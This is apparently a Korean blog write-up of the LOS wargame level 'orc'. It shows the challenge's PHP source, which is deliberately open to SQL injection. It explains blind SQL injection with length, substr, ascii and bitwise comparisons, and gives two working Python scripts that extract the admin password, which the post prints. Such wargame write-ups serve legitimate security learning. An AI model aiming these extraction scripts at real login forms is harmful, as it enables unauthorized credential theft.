Post

LOS Lv.4 orc

orc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
query : select id from prob_orc where id='admin' and pw=''

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 
?>

Solution

1
2
3
pw 값이 있어야하고, pw 값이 내 입력값과 동일해야함. 
즉, 비밀번호를 알아내야한다는 소리임.
비밀번호는 Blind sql injection을 이용해서 알 수 있음.
1
2
3
우선 비밀번호 길이를 알아내야 함. mysql에 length 함수가 있음.
?pw=' or id='admin' and length(pw) < 2 이런 식으로 해서 찾으면 됨.
비밀번호 길이는 8이 나올꺼임.
1
2
3
4
5
이제 비밀번호 값을 알아내야 함. 한 글자씩 알아낼거임.
mysql에는 substr 함수가 있음. 이 함수를 이용해 한 글자씩 잘라서 알아내야함.
하지만 문제는 mysql은 대소문자 구분이 없음. 매우 중요한 사실임.

하지만 ascii 함수를 통해 ascii 값을 비교하여 더욱 정확하게 알아낼 수 있음.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url='https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
headers={'Content-Type':'application/x-www-form-urlencoded'}
cookies={'PHPSESSID':'[redacted]'}

pw=''

for i in range(1,9) :
    for j in range(48,123) :
        payload={'pw':"' or id='admin' and ascii(substr(pw,"+str(i)+",1))="+str(j)+"#"}
        res=requests.get(url,headers=headers, params=payload, cookies=cookies)
        if "Hello admin" in res.text :
            pw+=chr(j)
            print("pw : "+pw)
            break

# pw : 095a9852

하지만 이런 방식은 너무 느림. 따라서 비트 단위로 비교하는 방법을 사용할 꺼임.

1
2
3
4
5
비밀번호 한 자리씩 잘라서 2진수 형태로 변환하여 비트 길이를 구하면
비트 길이만큼 0인지 1인지만 검사하면 됨
--> 웬만하면 6자리(숫자) 또는 7자리(알파벳)이므로 위 코드보다 요청이 좀 줄어듦.

비트값을 구해서 10진수로 바꾸고 다시 문자로 바꿔주면 됨.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests

url='https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
headers={'Content-Type':'application/x-www-form-urlencoded'}
cookies={'PHPSESSID':'[redacted]'}

bit_val=''
pw=''

for i in range(1,9) :
    payload={'pw':"' or id='admin' and length(bin(ascii(substr(pw,"+str(i)+",1))))=7 #"}
    res=requests.get(url,headers=headers, params=payload, cookies=cookies)
    if "Hello admin" in res.text :
        bit_len=7
    else :
        bit_len=6
    
    for j in range(1,bit_len+1) :
        payload={'pw':"' or id='admin' and substr(bin(ascii(substr(pw,"+str(i)+",1))),"+str(j)+",1)=0 #"}
        res=requests.get(url,headers=headers, params=payload, cookies=cookies)
        if "Hello admin" in res.text :
            bit_val+='0'
        else :
            bit_val+='1'
    
    pw+=chr(int(bit_val,2))
    bit_val=''
    print("pw :",pw)

# 1분 10초 정도 걸림. 위에껀 1분 20초 넘어감.
This post is licensed under CC BY 4.0 by the author.